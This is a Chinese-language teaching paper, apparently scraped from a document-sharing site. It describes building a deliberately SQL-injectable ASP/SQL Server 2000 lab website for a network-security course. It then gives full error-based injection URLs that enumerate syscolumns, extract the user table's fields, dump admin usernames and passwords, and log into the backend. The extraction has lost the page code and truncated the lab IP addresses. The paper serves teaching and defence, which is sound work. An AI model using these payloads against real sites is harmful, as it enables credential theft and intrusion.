利用SoL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境搭建及使用研究_第1頁
利用SoL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境搭建及使用研究_第2頁
利用SoL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境搭建及使用研究_第3頁
利用SoL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境搭建及使用研究_第4頁
已閱讀5頁,還剩4頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

1、 利用SoL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境搭建及使用研究 曾煌存(廣東外語藝術(shù)職業(yè)學(xué)院 廣東 廣州 510640)Reference:為了在高職院校的網(wǎng)絡(luò)安全與防范課程中取得較好的教學(xué)效果,必須搭建大量的實驗環(huán)境供學(xué)生演練。本文總結(jié)了開展ASP+SQL Server 2000環(huán)境下利用SQL注入攻擊登錄網(wǎng)站后臺的實驗環(huán)境的搭建及使用研究。Keys:SQL注入攻擊;網(wǎng)絡(luò)安全;實驗環(huán)境G718 :A :1672-5727(2013)11-0129-03SQL注入攻擊是黑客最喜歡使用的攻擊方式之一,其危害極大。為了在高職院校的網(wǎng)絡(luò)安全與防范課程中取得較好的教學(xué)效果,必須搭建大量的實驗環(huán)境供學(xué)生演練。在

2、之前工作經(jīng)驗的基礎(chǔ)之上,筆者總結(jié)了開展ASP+SQL Server 2000環(huán)境下利用SQL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境搭建及使用的研究,希望能對高職院校網(wǎng)絡(luò)安全與防范課程中SQL注入攻擊與防范的教學(xué)起到一定的促進作用。利用SQL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境的搭建在之前的工作中,已經(jīng)基于ASP+SQL Server 2000搭建了一個具有SQL注入漏洞的動態(tài)網(wǎng)站Testweb,并且演示了使用SQL注入攻擊,添加目標(biāo)計算機系統(tǒng)的管理員賬戶、開啟遠程終端連接,并且用攻擊機遠程登錄到目標(biāo)計算機等操作。本文擴展了動態(tài)網(wǎng)站Testweb,使其有用于網(wǎng)站后臺登錄的頁面,然后我們將展示使用SQL注入攻擊獲得

3、網(wǎng)站后臺賬戶、口令,并且登錄進入后臺的操作。如之前的工作一樣,使用VMware WorkStatition虛擬機軟件安裝了兩臺虛擬機,一臺虛擬機安裝的是Windows Server 2003操作系統(tǒng),用于模擬被攻擊的服務(wù)器,IP地址為32;另一臺虛擬機安裝的是Windows XP操作系統(tǒng),用于模擬黑客使用的攻擊機,IP地址為33。在Windows Server 2003虛擬機上,擴展了之前搭建的使用ASP+SQL Server 2000開發(fā)的簡單的動態(tài)網(wǎng)站Testweb。該動態(tài)網(wǎng)站訪問名為Testweb的數(shù)據(jù)庫,該數(shù)據(jù)庫原來只包含一個表:tblNews。我們擴展了該數(shù)據(jù)庫,使其包含另一個表:t

4、blUser,該表用于存儲登錄后臺的賬戶和密碼。tblUser的具體結(jié)構(gòu)如表1所示。初始時在這個表中輸入了一些測試用的數(shù)據(jù)。該網(wǎng)站原來包括以下三個頁面:conn.asp、news.asp、displayNews.asp。其中conn.asp用于保存與SQL Server 2000數(shù)據(jù)庫服務(wù)器的連接信息;news.asp用于讀取數(shù)據(jù)庫中的新聞記錄,顯示所有新聞的標(biāo)題,并且將這些標(biāo)題以超級鏈接的形式顯示。當(dāng)單擊某個新聞的標(biāo)題后,即可以進入形如displayNews.asp?id=xxx的頁面,看到新聞的具體內(nèi)容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。新增以下三個頁面:log

5、in.asp、processLogin.asp和main.asp。login.asp是網(wǎng)站后臺員登錄的頁面;processLogin.asp用于處理網(wǎng)站后臺的登錄,若用戶通過驗證,則跳轉(zhuǎn)到main.asp,否則跳轉(zhuǎn)回login.asp;main.asp用于模擬管理員登錄后臺后進入的頁面。與之前一樣,設(shè)置該網(wǎng)站的默認頁面為news.asp。login.asp的代碼如下所示:用戶名:密碼:processLogin.asp的代碼如下所示:main.asp的代碼如下所示:Welcome從新增的三個頁面的具體代碼可以看出,新增的頁面也具有簡單,易于理解、分析和掌握的優(yōu)點。同時,頁面displayNews

6、.asp有SQL注入漏洞,可以滿足進行SQL注入攻擊的實訓(xùn)需要,其具有SQL注入漏洞的具體語句為:strSql=select * from tblNews where ID= & newsID該語句根據(jù)某條新聞的ID查詢tblNews表的內(nèi)容,可以在形如displayNews.asp?id=xxx的地址后面加入精心構(gòu)造的語句,從而執(zhí)行特定的SQL語句,查詢信息、執(zhí)行命令、進而控制服務(wù)器。利用SQL注入攻擊登錄網(wǎng)站后臺實驗環(huán)境的使用如上開發(fā)的動態(tài)網(wǎng)站Testweb具有SQL注入漏洞,下面我們通過破解網(wǎng)站后臺賬戶、口令的入侵步驟來展示該SQL注入攻擊實驗環(huán)境的使用。訪問Testweb網(wǎng)站,判斷其是

7、否具有SQL注入漏洞。(一)猜解含有字符串“pass”的字段名以及該字段所屬表的表名在SQL Server 2000中,當(dāng)前數(shù)據(jù)庫的syscolumn表中有以下兩個字段:name和id。其中name是當(dāng)前數(shù)據(jù)庫中所有表中含有的字段的名稱,id是該字段所屬表的編號。通過查詢syscolumns表,我們就可以得到含有字符串pass的字段名以及該字段所屬表格的編號。再使用SQL Server中的object_name(id)函數(shù)就可以得到字段所屬表格的名稱。在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and(select top 1 t_name%2b|

8、%2bc_name from(select top 1 object_name(id)as t_name,name as c_name from syscolumns where charIndex(pass,name)0 and left(name,1)!= order by t_name)as T order by t_name desc)0 (1)返回的提示信息包含:將 nvarchar 值 sysusers|password 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。從返回信息中,我們可以知道當(dāng)前數(shù)據(jù)庫中有一個sysusers表,該表含有password字段。將(1)中的子查詢“s

9、elect top 1 object_name(id)as t_name,name. ”中的1依次修改為2,3,即可得到所有含有“pass”的字段名以及該字段所屬表的的表名信息。如將“select top 1 object_name(id)as t_name,name.”改成“select top 2 object_name(id)as t_name,name.”后,得到的提示信息包含:將 nvarchar 值 tblUser|password 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。從該提示信息,可以知道當(dāng)前數(shù)據(jù)庫中有個tblUser表,該表有password字段。(1)比較復(fù)雜。首先

10、看(1)的子查詢中的:select top 1 object_name(id)as t_name,name as c_name from syscolumns where charIndex(pass,name)0 and left(name,1)!= order by t_name (2)(2)的原理是:在syscolumns表中篩選出字段名中包含字符串“pass”,并且字段名不以字符“”起始的記錄,然后得到這些記錄的字段名和該字段所屬的表的表名(通過object_name(id)函數(shù)從表的id得到表的名稱),再將這些結(jié)果根據(jù)表名按照升序進行排列,最后篩選出最前面的一條記錄。(1)的原理是從

11、子查詢(2)的結(jié)果中根據(jù)表名降序篩選出最前面的一條記錄,并將表名和字段名用“|”連接起來,得到最終的結(jié)果,最后讓其與整數(shù)0進行比較,因為類型不匹配,將導(dǎo)致SQL Server出錯,根據(jù)出錯信息,即可得到表名和字段名。其中“%2b”是字符串連接運算符“+”。(二)得到用戶表的字段數(shù)目在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and(select cast(count(*)as varchar(20)%2b| from syscolumns where id=object_id(tblUser)0 (3)返回的信息包含:將 varchar 值 2|

12、轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 從該提示信息可以確定tblUser表共含有2個字段。(三)得到用戶表的所有字段名在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and(select top 1 cast(name as nvarchar(200)%2b| from(select top 1 name from syscolumns where id= object_id(tblUser)order by id)as T order by id desc)0 (4)返回的信息包含:將 nvarchar 值 password| 轉(zhuǎn)換為數(shù)據(jù)類

13、型為 int 的列時發(fā)生語法錯誤。 從該提示信息,可以知道tblUser有一個字段為password。將子查詢“select top 1”中的1改為2,即可得到tblUser的第2個字段的名稱,返回的信息包含:將 nvarchar 值 username| 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。從提示信息,即可以知道tblUser的另一個字段的名稱是username。(四)得到用戶名和密碼在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and(select top 1 username%2b|%2bpassword from(select top

14、 1 username,password from tblUser order by username)as T order by username desc)0返回的提示信息包含:將 nvarchar 值 testweb|123456 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。從提示信息,即可以知道其中一個用戶名/密碼為:testweb/123456。將子查詢中的“select top 1 username,password from tblUser.”中的1改為2,3即可以得到其他的用戶名/密碼。(五)登錄網(wǎng)站的后臺使用“多線程后臺掃描器”掃描得到該網(wǎng)站的后臺地址為:http:/32/testweb/login.asp在該網(wǎng)頁中用戶名框輸入“testweb”,密碼框輸入“123456”即可成功登錄后臺。結(jié)語與DVBBS等整站程序相比,我們搭建的實驗環(huán)境具有簡單、方便學(xué)生理解、分析和掌握的優(yōu)點。同時,我們的實驗環(huán)境設(shè)有SQL注入漏洞,能夠讓學(xué)生方便地演練在ASP+SQL Server 2000環(huán)境下猜解數(shù)據(jù)表的名稱、猜解字段的數(shù)目、字段的名稱、字段的內(nèi)容、掃描網(wǎng)站后臺等操作。這對

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論